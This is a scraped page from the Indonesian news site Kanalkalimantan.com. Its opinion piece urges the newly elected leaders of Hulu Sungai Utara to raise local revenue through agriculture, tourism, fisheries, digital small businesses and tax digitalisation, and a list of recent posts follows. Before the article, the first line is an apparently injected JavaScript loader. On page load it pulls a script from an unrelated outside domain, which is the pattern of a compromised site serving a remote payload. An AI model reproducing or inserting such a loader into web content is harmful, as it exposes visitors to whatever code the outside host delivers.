(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
OPINI

Bupati-Wabup HSU Terpilih Harus Maksimalkan PAD Melalui Inovasi, Ekraf, dan Digitalisasi


KANALKALIMANTAN.COM, AMUNTAI – Besok, 20 Februari 2024 kepala daerah terpilih di seluruh Indonesia dilantik, termasuk Bupati dan Wakil Bupati Kabupaten Hulu Sungai Utara (HSU).

Pelantikan ini merupakan momentum penting yang menandai awal tanggung jawab besar dalam mewujudkan visi pembangunan daerah.

Salah satu aspek krusial yang harus menjadi perhatian utama adalah peningkatan Pendapatan Asli Daerah (PAD).

Peningkatan PAD bukan hanya sekadar target angka, tetapi merupakan cerminan keberhasilan pemerintah daerah dalam mengelola sumber daya lokal secara efektif dan inovatif.

Baca juga: Sekda HST Bersaksi di Sidang Penyelewengan Dana Kader Sosial

Peningkatan PAD sangat penting karena menjadi sumber utama pembiayaan pembangunan daerah yang mandiri dan berkelanjutan.

Berdasarkan data Pemkab HSU, proyeksi Kemampuan Keuangan Daerah (KKD) 2026, diproyeksikan PAD HSU sebesar Rp190 miliar. Dimana sebagian besar berasal dari pajak daerah, retribusi, dan hasil pengelolaan kekayaan daerah.

Namun, angka tersebut masih relatif rendah dibandingkan potensi yang dimiliki HSU. Dengan peningkatan PAD, pemerintah daerah dapat lebih leluasa membiayai pembangunan infrastruktur, meningkatkan kualitas layanan kesehatan, memperluas akses pendidikan, dan menyediakan layanan publik yang lebih efisien.

Selain itu, peningkatan PAD dapat menggerakkan roda perekonomian lokal.

Baca juga: Kebijakan Efisiensi Anggaran Prabowo, HMI Banjarbaru : Kabinet Malah Gemuk

Pemerintah daerah harus mampu memaksimalkan sektor unggulan, seperti pertanian, perikanan, dan pariwisata, yang memiliki potensi besar untuk mendukung pendapatan daerah.

Program hilirisasi hasil pertanian, seperti pengolahan produk hortikultura, dapat meningkatkan nilai tambah ekonomi sekaligus membuka lapangan kerja baru.

Demikian pula, pengembangan pariwisata berbasis budaya lokal dan ekowisata dapat menjadi daya tarik yang mendatangkan wisatawan sekaligus meningkatkan retribusi daerah.

Penguatan perikanan dengan mengembangkan sentra budidaya ikan air tawar menggunakan sistem modern dapat meningkatkan hasil produksi.

Baca juga: ASN Diskominfosandi HSU Dibekali Penyusunan Anjab dan ABK

Di era digital, sektor ekonomi kreatif dan ekonomi digital menjadi peluang baru yang harus dimanfaatkan.

Kepala daerah harus mendorong pengembangan UMKM berbasis digital, seperti penjualan produk lokal melalui e-commerce dan marketplace.

Selain itu, pemerintah dapat memfasilitasi pelatihan keterampilan digital bagi pelaku UMKM agar mereka dapat memanfaatkan media sosial dan platform live shopping untuk memasarkan produk mereka.

Langkah ini tidak hanya membantu meningkatkan pendapatan masyarakat, tetapi juga memperluas basis pajak daerah dari sektor ekonomi digital.

Penguatan tata kelola pemerintahan yang efektif menjadi faktor pendukung utama dalam peningkatan PAD.

Baca juga: Jelang Pelantikan, Saidi Mansyur – Said Idrus Ikuti Gladi Kotor di Jakarta

Pemerintah daerah perlu melakukan reformasi sistem perpajakan dengan menerapkan digitalisasi pembayaran pajak dan retribusi daerah yang transparan dan mudah diakses masyarakat.

Selain itu, penguatan peran Badan Usaha Milik Daerah (BUMD) menjadi penting agar mampu memberikan kontribusi nyata terhadap pendapatan daerah melalui usaha-usaha yang produktif dan inovatif.

Tidak kalah penting, keterlibatan masyarakat dalam proses pembangunan harus terus diperkuat.

Partisipasi publik dalam musyawarah perencanaan pembangunan (Musrenbang) harus menjadi sarana untuk menjaring aspirasi dan menentukan prioritas pembangunan yang benar-benar sesuai kebutuhan masyarakat.

Prinsip transparansi dan akuntabilitas dalam pengelolaan anggaran daerah juga menjadi kunci utama untuk membangun kepercayaan masyarakat terhadap pemerintah.

Baca juga: Pemko Banjarbaru Salurkan LPG 3 Kg Subsidi di 10 Titik

Dengan strategi yang tepat, kolaborasi yang solid, dan inovasi yang berkelanjutan, peningkatan PAD di Hulu Sungai Utara bukan hanya sekadar impian, melainkan sebuah target yang dapat dicapai.

Kepala daerah terpilih harus mampu membuktikan bahwa mereka adalah pemimpin yang tidak hanya mengelola, tetapi juga menggerakkan perubahan menuju Hulu Sungai Utara Bangkit (Berkeadilan, Unggul dan Kreatif) demi kesejahteraan masyarakat secara berkelanjutan. (Kanalkalimantan.com/kk)

Reporter: kk
Editor: bie


Risa

Recent Posts

Pemkab Kapuas Gelar Forum Konsultasi Publik RPJMD 2025–2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar forum konsultasi publik terkait rencana awal… Read More

1 jam ago

Puncak Hari Jadi ke-26 Kota Banjarbaru Dihadiri Wali Kota 2000-2005 Rudy Resnawan

Pj Wali Kota : Sangat Beruntung Kota Banjarbaru Mempunyai Pendahulu yang Visioner dan Inovatif Read More

4 jam ago

Widya Dewi, Penyuluh Pertanian Asal HSU Raih Penghargaan dari Mentan RI

KANALKALIMANTAN.COM, JAKARTA - Widya Dewi, penyuluh pertanian asal Kabupaten Hulu Sungai Utara (HSU) Kalimantan Selatan… Read More

6 jam ago

Ribuan Orang Hadiri Haul KH Ahmad Hudhori di Martapura Timur

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi beserta alim ulama, habaib dan… Read More

9 jam ago

Pemkab Banjar Raih Penghargaan sebagai Penyelenggara Pemerintahan Daerah dengan Kinerja Tinggi

KANALKALIMANTAN.COM, JAKARTA - Prestasi demi prestasi ditorehkan Pemkab Banjar di bawah kepemimpinan H Saidi Mansyur… Read More

11 jam ago

TOP 10 MasterChef Indonesia Season 12 Siap Menghadirkan Tantangan Para Kontestan!

KANALKALIMANTAN.COM - Di Minggu ini, kita akan bertemu kembali dengan 10 besar kontestan MasterChef Indonesia… Read More

12 jam ago